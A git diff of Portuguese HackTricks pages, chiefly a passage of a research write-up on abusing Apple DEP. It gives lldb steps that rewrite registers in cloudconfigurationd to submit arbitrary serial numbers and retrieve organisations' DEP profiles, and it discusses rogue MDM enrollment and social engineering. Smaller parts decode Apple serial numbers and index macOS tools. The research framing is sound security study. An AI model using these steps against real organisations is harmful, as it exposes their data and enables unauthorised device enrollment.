rax = IOServiceGetMatchingServices(*(int32_t *)*_kIOMasterPortDefault, rax, &var_2C);
|
||||
<snip>
|
||||
}
|
||||
rax = r14;
|
||||
return rax;
|
||||
}
|
||||
```
|
||||
O número de série do sistema é obtido do [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), a menos que o valor de retorno de `sub_10002000f` seja diferente de zero, caso em que é definido como a string estática "2222XXJREUF". Ao inspecionar essa função, parece verificar se o "modo de teste de estresse do servidor" está habilitado.
|
||||
```
|
||||
void sub_1000321ca(void * _block) {
|
||||
if (sub_10002406f() != 0x0) {
|
||||
*(int8_t *)0x100097b68 = 0x1;
|
||||
sub_10000b3de(@"Server stress test mode enabled", rsi, rdx, rcx, r8, r9, stack[0]);
|
||||
}
|
||||
return;
|
||||
}
|
||||
```
|
||||
Registramos a existência do "modo de teste de estresse do servidor", mas não o exploramos mais, já que nosso objetivo era modificar o número de série apresentado à API DEP. Em vez disso, testamos se a modificação do número de série apontado pelo registro `r14` seria suficiente para recuperar um "Registro de Ativação" que não era destinado à máquina que estávamos testando.
|
||||
|
||||
Em seguida, examinamos como o número de série do sistema é recuperado dentro do `cloudconfigurationd`.
|
||||
```
|
||||
int sub_10000c100(int arg0, int arg1, int arg2, int arg3) {
|
||||
var_50 = arg3;
|
||||
r12 = arg2;
|
||||
r13 = arg1;
|
||||
r15 = arg0;
|
||||
rbx = IOServiceGetMatchingService(*(int32_t *)*_kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice"));
|
||||
r14 = 0xffffffffffff541a;
|
||||
if (rbx != 0x0) {
|
||||
rax = sub_10000c210(rbx, @"IOPlatformSerialNumber", 0x0, &var_30, &var_34);
|
||||
r14 = rax;
|
||||
<snip>
|
||||
}
|
||||
rax = r14;
|
||||
return rax;
|
||||
}
|
||||
```
|
||||
Como pode ser visto acima, o número de série é recuperado do [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) no `cloudconfigurationd` também.
|
||||
|
||||
Usando `lldb`, conseguimos modificar o número de série recuperado do [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) definindo um ponto de interrupção para `IOServiceGetMatchingService` e criando uma nova variável de string contendo um número de série arbitrário e reescrevendo o registro `r14` para apontar para o endereço de memória da variável que criamos.
|
||||
```
|
||||
(lldb) breakpoint set -n IOServiceGetMatchingService
|
||||
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
|
||||
(lldb) process attach --waitfor --name cloudconfigurationd
|
||||
Process 2208 stopped
|
||||
* thread #2, queue = 'com.apple.NSXPCListener.service.com.apple.ManagedClient.cloudconfigurationd',
|
||||
stop reason = instruction step over frame #0: 0x000000010fd824d8
|
||||
cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd + 73
|
||||
cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd:
|
||||
-> 0x10fd824d8 <+73>: movl %ebx, %edi
|
||||
0x10fd824da <+75>: callq 0x10ffac91e ; symbol stub for: IOObjectRelease
|
||||
0x10fd824df <+80>: testq %r14, %r14
|
||||
0x10fd824e2 <+83>: jne 0x10fd824e7 ; <+88>
|
||||
Target 0: (cloudconfigurationd) stopped.
|
||||
(lldb) continue # Will hit breakpoint at `IOServiceGetMatchingService`
|
||||
# Step through the program execution by pressing 'n' a bunch of times and
|
||||
# then 'po $r14' until we see the serial number.
|
||||
(lldb) n
|
||||
(lldb) po $r14
|
||||
C02JJPPPQQQRR # The system serial number retrieved from the `IORegistry`
|
||||
# Create a new variable containing an arbitrary serial number and print the memory address.
|
||||
(lldb) p/x @"C02XXYYZZNNMM"
|
||||
(__NSCFString *) $79 = 0x00007fb6d7d05850 @"C02XXYYZZNNMM"
|
||||
# Rewrite the `r14` register to point to our new variable.
|
||||
(lldb) register write $r14 0x00007fb6d7d05850
|
||||
(lldb) po $r14
|
||||
# Confirm that `r14` contains the new serial number.
|
||||
C02XXYYZZNNMM
|
||||
```
|
||||
Embora tenhamos tido sucesso em modificar o número de série recuperado do [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), a carga útil `macProfile` ainda continha o número de série do sistema, não aquele que escrevemos no registro `r14`.
|
||||
|
||||
**Exploração: Modificando o Dicionário de Solicitação de Perfil Antes da Serialização JSON**
|
||||
|
||||
Em seguida, tentamos definir o número de série que é enviado na carga útil `macProfile` de uma maneira diferente. Desta vez, em vez de modificar o número de série do sistema recuperado via [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), tentamos encontrar o ponto mais próximo no código onde o número de série ainda está em texto simples antes de ser assinado com Absinthe (`NACSign`). O melhor ponto para se olhar parecia ser `-[MCTeslaConfigurationFetcher startConfigurationFetch]`, que realiza aproximadamente as seguintes etapas:
|
||||
|
||||
* Cria um novo objeto `NSMutableData`
|
||||
* Chama `[MCTeslaConfigurationFetcher setConfigurationData:]`, passando o novo objeto `NSMutableData`
|
||||
* Chama `[MCTeslaConfigurationFetcher profileRequestDictionary]`, que retorna um objeto `NSDictionary` contendo dois pares chave-valor:
|
||||
* `sn`: O número de série do sistema
|
||||
* `action`: A ação remota a ser executada (com `sn` como seu argumento)
|
||||
* Chama `[NSJSONSerialization dataWithJSONObject:]`, passando o `NSDictionary` de `profileRequestDictionary`
|
||||
* Assina a carga útil JSON usando Absinthe (`NACSign`)
|
||||
* Codifica em Base64 a carga útil JSON assinada
|
||||
* Define o método HTTP como `POST`
|
||||
* Define o corpo HTTP como a carga útil JSON assinada codificada em Base64
|
||||
* Define o cabeçalho HTTP `X-Profile-Protocol-Version` como `1`
|
||||
* Define o cabeçalho HTTP `User-Agent` como `ConfigClient-1.0`
|
||||
* Usa o método `[NSURLConnection alloc] initWithRequest:delegate:startImmediately:]` para executar a solicitação HTTP
|
||||
|
||||
Em seguida, modificamos o objeto `NSDictionary` retornado de `profileRequestDictionary` antes de ser convertido em JSON. Para fazer isso, um ponto de interrupção foi definido em `dataWithJSONObject` para nos aproximar o máximo possível dos dados ainda não convertidos. O ponto de interrupção foi bem-sucedido e, quando imprimimos o conteúdo do registro que sabíamos através da desmontagem (`rdx`), obtivemos os resultados que esperávamos ver.
|
||||
```
|
||||
po $rdx
|
||||
{
|
||||
action = RequestProfileConfiguration;
|
||||
sn = C02XXYYZZNNMM;
|
||||
}
|
||||
```
|
||||
O acima é uma representação bem formatada do objeto `NSDictionary` retornado por `[MCTeslaConfigurationFetcher profileRequestDictionary]`. Nosso próximo desafio foi modificar o objeto `NSDictionary` em memória contendo o número de série.
|
||||
```
|
||||
(lldb) breakpoint set -r "dataWithJSONObject"
|
||||
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
|
||||
(lldb) process attach --name "cloudconfigurationd" --waitfor
|
||||
Process 3291 stopped
|
||||
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
|
||||
frame #0: 0x00007fff2e8bfd8f Foundation`+[NSJSONSerialization dataWithJSONObject:options:error:]
|
||||
Target 0: (cloudconfigurationd) stopped.
|
||||
# Hit next breakpoint at `dataWithJSONObject`, since the first one isn't where we need to change the serial number.
|
||||
(lldb) continue
|
||||
# Create a new variable containing an arbitrary `NSDictionary` and print the memory address.
|
||||
(lldb) p/x (NSDictionary *)[[NSDictionary alloc] initWithObjectsAndKeys:@"C02XXYYZZNNMM", @"sn",
|
||||
@"RequestProfileConfiguration", @"action", nil]
|
||||
(__NSDictionaryI *) $3 = 0x00007ff068c2e5a0 2 key/value pairs
|
||||
# Confirm that `rdx` contains the new `NSDictionary`.
|
||||
po $rdx
|
||||
{
|
||||
action = RequestProfileConfiguration;
|
||||
sn = <new_serial_number>
|
||||
}
|
||||
```
|
||||
A listagem acima faz o seguinte:
|
||||
|
||||
* Cria um ponto de interrupção de expressão regular para o seletor `dataWithJSONObject`
|
||||
* Aguarda o processo `cloudconfigurationd` iniciar e, em seguida, se conecta a ele
|
||||
* Continua a execução do programa (porque o primeiro ponto de interrupção que atingimos para `dataWithJSONObject` não é aquele chamado no `profileRequestDictionary`)
|
||||
* Cria e imprime (em formato hexadecimal devido ao `/x`) o resultado da criação do nosso `NSDictionary` arbitrário
|
||||
* Como já conhecemos os nomes das chaves necessárias, podemos simplesmente definir o número de série como um de nossa escolha para `sn` e deixar a ação como está
|
||||
* A impressão do resultado da criação deste novo `NSDictionary` nos informa que temos dois pares de chave-valor em um local de memória específico
|
||||
|
||||
Nosso último passo agora foi repetir o mesmo passo de escrever em `rdx` o local de memória do nosso objeto `NSDictionary` personalizado que contém o número de série escolhido:
|
||||
```
|
||||
(lldb) register write $rdx 0x00007ff068c2e5a0 # Rewrite the `rdx` register to point to our new variable
|
||||
(lldb) continue
|
||||
```
|
||||
Isso aponta o registro `rdx` para o nosso novo `NSDictionary` logo antes de ser serializado para [JSON](https://www.json.org) e enviado via `POST` para _iprofiles.apple.com/macProfile_, em seguida, continua o fluxo do programa.
|
||||
|
||||
Este método de modificação do número de série na solicitação de perfil no dicionário antes de ser serializado para JSON funcionou. Ao usar um número de série Apple registrado no DEP conhecido em vez de (null), o log de depuração para `ManagedClient` mostrou o perfil DEP completo para o dispositivo:
|
||||
```
|
||||
Apr 4 16:21:35[660:1]:+CPFetchActivationRecord fetched configuration:
|
||||
{
|
||||
AllowPairing = 1;
|
||||
AnchorCertificates = (
|
||||
);
|
||||
AwaitDeviceConfigured = 0;
|
||||
ConfigurationURL = "https://some.url/cloudenroll";
|
||||
IsMDMUnremovable = 1;
|
||||
IsMandatory = 1;
|
||||
IsSupervised = 1;
|
||||
OrganizationAddress = "Org address";
|
||||
OrganizationAddressLine1 = "More address";
|
||||
OrganizationAddressLine2 = NULL;
|
||||
OrganizationCity = A City;
|
||||
OrganizationCountry = US;
|
||||
OrganizationDepartment = "Org Dept";
|
||||
OrganizationEmail = "dep.management@org.url";
|
||||
OrganizationMagic = <unique string>;
|
||||
OrganizationName = "ORG NAME";
|
||||
OrganizationPhone = "+1551234567";
|
||||
OrganizationSupportPhone = "+15551235678";
|
||||
OrganizationZipCode = "ZIPPY";
|
||||
SkipSetup = (
|
||||
AppleID,
|
||||
Passcode,
|
||||
Zoom,
|
||||
Biometric,
|
||||
Payment,
|
||||
TOS,
|
||||
TapToSetup,
|
||||
Diagnostics,
|
||||
HomeButtonSensitivity,
|
||||
Android,
|
||||
Siri,
|
||||
DisplayTone,
|
||||
ScreenSaver
|
||||
);
|
||||
SupervisorHostCertificates = (
|
||||
);
|
||||
}
|
||||
```
|
||||
Com apenas alguns comandos `lldb`, podemos inserir com sucesso um número de série arbitrário e obter um perfil DEP que inclui vários dados específicos da organização, incluindo o URL de inscrição MDM da organização. Como discutido, este URL de inscrição poderia ser usado para inscrever um dispositivo malicioso agora que sabemos o seu número de série. Os outros dados poderiam ser usados para engenharia social de uma inscrição maliciosa. Uma vez inscrito, o dispositivo poderia receber qualquer número de certificados, perfis, aplicativos, configurações de VPN e assim por diante.
|
||||
|
||||
## Automatizando a Instrumentação do `cloudconfigurationd` com Python
|
||||
|
||||
Depois de termos a prova de conceito inicial demonstrando como recuperar um perfil DEP válido usando apenas um número de série, começamos a automatizar esse processo para mostrar como um atacante poderia explorar essa fraqueza na autenticação.
|
||||
|
||||
Felizmente, a API do LLDB está disponível em Python por meio de uma [interface de script](https://lldb.llvm.org/python-reference.html). Em sistemas macOS com as [Ferramentas de Linha de Comando do Xcode](https://developer.apple.com/download/more/) instaladas, o módulo Python `lldb` pode ser importado da seguinte forma:
|
||||
```
|
||||
import lldb
|
||||
```
|
||||
Isso tornou relativamente fácil criar um script de prova de conceito demonstrando como inserir um número de série registrado no DEP e receber um perfil DEP válido em troca. O PoC que desenvolvemos recebe uma lista de números de série separados por novas linhas e os injeta no processo `cloudconfigurationd` para verificar os perfis DEP.
|
||||
|
||||
![Configurações de proxy SSL do Charles.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2NoYXJsZXNfc3NsX3Byb3h5aW5nX3NldHRpbmdzLnBuZw==?w=800\&fit=contain\&s=d1c9216716bf619e7e10e45c9968f83b)
|
||||
|
||||
![Notificação DEP.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2RlcF9ub3RpZmljYXRpb24ucG5n?w=800\&fit=contain\&s=4f7b95efd02245f9953487dcaac6a961)
|
||||
|
||||
## Impacto
|
||||
|
||||
Existem vários cenários em que o Programa de Registro de Dispositivos da Apple pode ser abusado, o que levaria à exposição de informações sensíveis sobre uma organização. Os dois cenários mais óbvios envolvem a obtenção de informações sobre a organização a que um dispositivo pertence, que podem ser recuperadas do perfil DEP. O segundo é usar essas informações para realizar um registro DEP e MDM falso. Cada um desses cenários é discutido mais abaixo.
|
||||
|
||||
### Divulgação de informações
|
||||
|
||||
Como mencionado anteriormente, parte do processo de registro no DEP envolve solicitar e receber um _Registro de Ativação_ (ou perfil DEP) da API do DEP. Ao fornecer um número de série do sistema registrado no DEP válido, somos capazes de recuperar as seguintes informações (impressas no `stdout` ou gravadas no log `ManagedClient`, dependendo da versão do macOS).
|
||||
```
|
||||
Activation record: {
|
||||
AllowPairing = 1;
|
||||
AnchorCertificates = (
|
||||
<array_of_der_encoded_certificates>
|
||||
);
|
||||
AwaitDeviceConfigured = 0;
|
||||
ConfigurationURL = "https://example.com/enroll";
|
||||
IsMDMUnremovable = 1;
|
||||
IsMandatory = 1;
|
||||
IsSupervised = 1;
|
||||
OrganizationAddress = "123 Main Street, Anywhere, , 12345 (USA)";
|
||||
OrganizationAddressLine1 = "123 Main Street";
|
||||
OrganizationAddressLine2 = NULL;
|
||||
OrganizationCity = Anywhere;
|
||||
OrganizationCountry = USA;
|
||||
OrganizationDepartment = "IT";
|
||||
OrganizationEmail = "dep@example.com";
|
||||
OrganizationMagic = 105CD5B18CE24784A3A0344D6V63CD91;
|
||||
OrganizationName = "Example, Inc.";
|
||||
OrganizationPhone = "+15555555555";
|
||||
OrganizationSupportPhone = "+15555555555";
|
||||
OrganizationZipCode = "12345";
|
||||
SkipSetup = (
|
||||
<array_of_setup_screens_to_skip>
|
||||
);
|
||||
SupervisorHostCertificates = (
|
||||
);
|
||||
}
|
||||
```
|
||||
Embora algumas dessas informações possam estar disponíveis publicamente para determinadas organizações, ter um número de série de um dispositivo de propriedade da organização, juntamente com as informações obtidas do perfil DEP, pode ser usado contra a central de ajuda ou equipe de TI de uma organização para realizar qualquer número de ataques de engenharia social, como solicitar uma redefinição de senha ou ajuda para inscrever um dispositivo no servidor MDM da empresa.
|
||||
|
||||
### Inscrição DEP Rogue
|
||||
|
||||
O protocolo [Apple MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf) suporta - mas não requer - autenticação do usuário antes da inscrição MDM via [HTTP Basic Authentication](https://en.wikipedia.org/wiki/Basic\_access\_authentication). **Sem autenticação, tudo o que é necessário para inscrever um dispositivo em um servidor MDM via DEP é um número de série registrado no DEP**. Assim, um atacante que obtém tal número de série (seja por [OSINT](https://en.wikipedia.org/wiki/Open-source\_intelligence), engenharia social ou por força bruta) poderá inscrever um dispositivo próprio como se fosse de propriedade da organização, desde que não esteja atualmente inscrito no servidor MDM. Essencialmente, se um atacante conseguir vencer a corrida iniciando a inscrição DEP antes do dispositivo real, ele poderá assumir a identidade desse dispositivo.
|
||||
|
||||
As organizações podem - e fazem - alavancar o MDM para implantar informações sensíveis, como certificados de dispositivo e usuário, dados de configuração de VPN, agentes de inscrição, perfis de configuração e vários outros dados internos e segredos organizacionais. Além disso, algumas organizações optam por não exigir autenticação do usuário como parte da inscrição MDM. Isso tem vários benefícios, como uma melhor experiência do usuário e não ter que [expor o servidor de autenticação interno ao servidor MDM para lidar com inscrições MDM que ocorrem fora da rede corporativa](https://docs.simplemdm.com/article/93-ldap-authentication-with-apple-dep).
|
||||
|
||||
Isso apresenta um problema ao alavancar o DEP para inicializar a inscrição MDM, porque um atacante seria capaz de inscrever qualquer endpoint de sua escolha no servidor MDM da organização. Além disso, uma vez que um atacante inscreve com sucesso um endpoint de sua escolha no MDM, ele pode obter acesso privilegiado que pode ser usado para pivotar ainda mais dentro da rede.
|
|
@ -0,0 +1,69 @@
|
|||
Dispositivos Apple fabricados após 2010 geralmente possuem números de série alfanuméricos de **12 caracteres**, com os **três primeiros dígitos representando o local de fabricação**, os **dois seguintes indicando o ano** e a **semana** de fabricação, os **próximos três** dígitos fornecendo um **identificador único** e os **últimos quatro** dígitos representando o **número do modelo**.
|
||||
|
||||
Exemplo de número de série: **C02L13ECF8J2**
|
||||
|
||||
## **3 - Locais de fabricação**
|
||||
|
||||
| Código | Fábrica |
|
||||
| :--- | :--- |
|
||||
| FC | Fountain Colorado, EUA |
|
||||
| F | Fremont, Califórnia, EUA |
|
||||
| XA, XB, QP, G8 | EUA |
|
||||
| RN | México |
|
||||
| CK | Cork, Irlanda |
|
||||
| VM | Foxconn, Pardubice, República Tcheca |
|
||||
| SG, E | Cingapura |
|
||||
| MB | Malásia |
|
||||
| PT, CY | Coreia |
|
||||
| EE, QT, UV | Taiwan |
|
||||
| FK, F1, F2 | Foxconn - Zhengzhou, China |
|
||||
| W8 | Xangai, China |
|
||||
| DL, DM | Foxconn - China |
|
||||
| DN | Foxconn, Chengdu, China |
|
||||
| YM, 7J | Hon Hai/Foxconn, China |
|
||||
| 1C, 4H, WQ, F7 | China |
|
||||
| C0 | Tech Com - Quanta Computer Subsidiary, China |
|
||||
| C3 | Foxxcon, Shenzhen, China |
|
||||
| C7 | Pentragon, Changhai, China |
|
||||
| RM | Remanufaturado |
|
||||
|
||||
## 1 - Ano de fabricação
|
||||
|
||||
| Código | Lançamento |
|
||||
| :--- | :--- |
|
||||
| C | 2010/2020 \(1º semestre\) |
|
||||
| D | 2010/2020 \(2º semestre\) |
|
||||
| F | 2011/2021 \(1º semestre\) |
|
||||
| G | 2011/2021 \(2º semestre\) |
|
||||
| H | 2012/... \(1º semestre\) |
|
||||
| J | 2012 \(2º semestre\) |
|
||||
| K | 2013 \(1º semestre\) |
|
||||
| L | 2013 \(2º semestre\) |
|
||||
| M | 2014 \(1º semestre\) |
|
||||
| N | 2014 \(2º semestre\) |
|
||||
| P | 2015 \(1º semestre\) |
|
||||
| Q | 2015 \(2º semestre\) |
|
||||
| R | 2016 \(1º semestre\) |
|
||||
| S | 2016 \(2º semestre\) |
|
||||
| T | 2017 \(1º semestre\) |
|
||||
| V | 2017 \(2º semestre\) |
|
||||
| W | 2018 \(1º semestre\) |
|
||||
| X | 2018 \(2º semestre\) |
|
||||
| Y | 2019 \(1º semestre\) |
|
||||
| Z | 2019 \(2º semestre\) |
|
||||
|
||||
## 1 - Semana de fabricação
|
||||
|
||||
O quinto caractere representa a semana em que o dispositivo foi fabricado. Existem 28 caracteres possíveis neste local: **os dígitos de 1 a 9 são usados para representar as primeiras nove semanas**, e os **caracteres C a Y**, **excluindo** as vogais A, E, I, O e U, e a letra S, representam as **décimas a vigésimas sétimas semanas**. Para dispositivos fabricados na **segunda metade do ano, adicione 26** ao número representado pelo quinto caractere do número de série. Por exemplo, um produto com um número de série cujos quarto e quinto dígitos são "JH" foi fabricado na 40ª semana de 2012.
|
||||
|
||||
## 3 - Código único
|
||||
|
||||
Os próximos três dígitos são um código identificador que **serve para diferenciar cada dispositivo Apple do mesmo modelo** que é fabricado no mesmo local e durante a mesma semana do mesmo ano, garantindo que cada dispositivo tenha um número de série diferente.
|
||||
|
||||
## 4 - Número de série
|
||||
|
||||
Os últimos quatro dígitos do número de série representam o **modelo do produto**.
|
||||
|
||||
## Referência
|
||||
|
||||
{% embed url="https://beetstech.com/blog/decode-meaning-behind-apple-serial-number" %}
|
|
@ -5,10 +5,10 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga** me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenha o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga** me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -22,9 +22,9 @@
|
|||
|
||||
💬 Participe de discussões na comunidade
|
||||
|
||||
## MacOS Básico
|
||||
## Básico do macOS
|
||||
|
||||
Se você não está familiarizado com o macOS, você deve começar aprendendo os conceitos básicos do macOS: 
|
||||
Se você não está familiarizado com o macOS, você deve começar aprendendo o básico do macOS: 
|
||||
|
||||
* Arquivos e permissões especiais do macOS:
|
||||
|
||||
|
@ -60,8 +60,8 @@ Se você não está familiarizado com o macOS, você deve começar aprendendo os
|
|||
|
||||
Em empresas, os sistemas **macOS** são altamente prováveis de serem **gerenciados com um MDM**. Portanto, do ponto de vista de um atacante, é interessante saber **como isso funciona**:
|
||||
|
||||
{% content-ref url="macos-mdm/" %}
|
||||
[macos-mdm](macos-mdm/)
|
||||
{% content-ref url="../macos-red-teaming/macos-mdm/" %}
|
||||
[macos-mdm](../macos-red-teaming/macos-mdm/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### MacOS - Inspeção, Depuração e Fuzzing
|
||||
|
@ -98,15 +98,15 @@ Para esse tipo de vulnerabilidades, não se esqueça de **verificar instaladores
|
|||
|
||||
### Abuso de Privilégios e Entitlements via Abuso de Processo
|
||||
|
||||
Se um processo pode **injetar código em outro processo com melhores privilégios ou entitlements** ou contatá-lo para realizar ações de privilégios, ele pode escalar privilégios e contornar medidas defensivas como [Sandbox](macos-security-protections/macos-sandbox/) ou [TCC](macos-security-protections/macos-tcc/).
|
||||
Se um processo pode **injetar código em outro processo com melhores privilégios ou entitlements** ou contatá-lo para executar ações de privilégios, ele pode escalar privilégios e contornar medidas defensivas como [Sandbox](macos-security-protections/macos-sandbox/) ou [TCC](macos-security-protections/macos-tcc/).
|
||||
|
||||
{% content-ref url="macos-proces-abuse/" %}
|
||||
[macos-proces-abuse](macos-proces-abuse/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Manipuladores de aplicativos de extensão de arquivo e URL scheme
|
||||
### Manipuladores de aplicativos de esquema de URL e extensão de arquivo
|
||||
|
||||
Aplicativos estranhos registrados por extensões de arquivo podem ser abusados e diferentes aplicativos podem ser registrados para abrir protocolos específicos.
|
||||
Aplicativos estranhos registrados por extensões de arquivo podem ser abusados e diferentes aplicativos podem ser registrados para abrir protocolos específicos
|
||||
|
||||
{% content-ref url="macos-file-extension-apps.md" %}
|
||||
[macos-file-extension-apps.md](macos-file-extension-apps.md)
|
||||
|
@ -114,10 +114,10 @@ Aplicativos estranhos registrados por extensões de arquivo podem ser abusados e
|
|||
|
||||
## Escalada de Privilégios do MacOS
|
||||
|
||||
### CVE-2020-9771 - Bypass do TCC mount\_apfs e escalada de privilégios
|
||||
### CVE-2020-9771 - bypass do TCC mount\_apfs e escalada de privilégios
|
||||
|
||||
**Qualquer usuário** (mesmo não privilegiado) pode criar e montar um snapshot do time machine e **acessar TODOS os arquivos** desse snapshot.\
|
||||
O **único privilégio** necessário é para o aplicativo usado (como o `Terminal`) ter **Acesso Total ao Disco** (FDA) (`kTCCServiceSystemPolicyAllfiles`), que precisa ser concedido por um administrador.
|
||||
O **único privilégio** necessário é para o aplicativo usado (como o `Terminal`) ter **Acesso Total ao Disco** (FDA) (`kTCCServiceSystemPolicyAllfiles`) que precisa ser concedido por um administrador.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
|
|
@ -4,15 +4,15 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Análise estática
|
||||
## Análise Estática
|
||||
|
||||
### otool
|
||||
```bash
|
||||
|
@ -67,7 +67,7 @@ codesign -s <cert-name-keychain> toolsdemo
|
|||
```
|
||||
### SuspiciousPackage
|
||||
|
||||
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) é uma ferramenta útil para inspecionar arquivos **.pkg** (instaladores) e ver o que está dentro antes de instalá-los. Esses instaladores têm scripts bash `preinstall` e `postinstall` que os autores de malware geralmente abusam para **persistir** o **malware**.
|
||||
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) é uma ferramenta útil para inspecionar arquivos **.pkg** (instaladores) e ver o que está dentro antes de instalá-los. Esses instaladores possuem scripts bash `preinstall` e `postinstall` que os autores de malware geralmente abusam para **persistir** o **malware**.
|
||||
|
||||
### hdiutil
|
||||
|
||||
|
@ -133,7 +133,7 @@ No painel central, você pode ver o **código desmontado**. E você pode vê-lo
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Clicando com o botão direito em um objeto de código, você pode ver **referências para/de esse objeto** ou até mesmo mudar seu nome (isso não funciona no pseudocódigo descompilado):
|
||||
Clicando com o botão direito em um objeto de código, você pode ver **referências para/de objetos** ou até mesmo alterar seu nome (isso não funciona no pseudocódigo descompilado):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -354,15 +354,23 @@ cat procs.txt
|
|||
```
|
||||
Ou use `netstat` ou `lsof`
|
||||
|
||||
### Libgmalloc
|
||||
|
||||
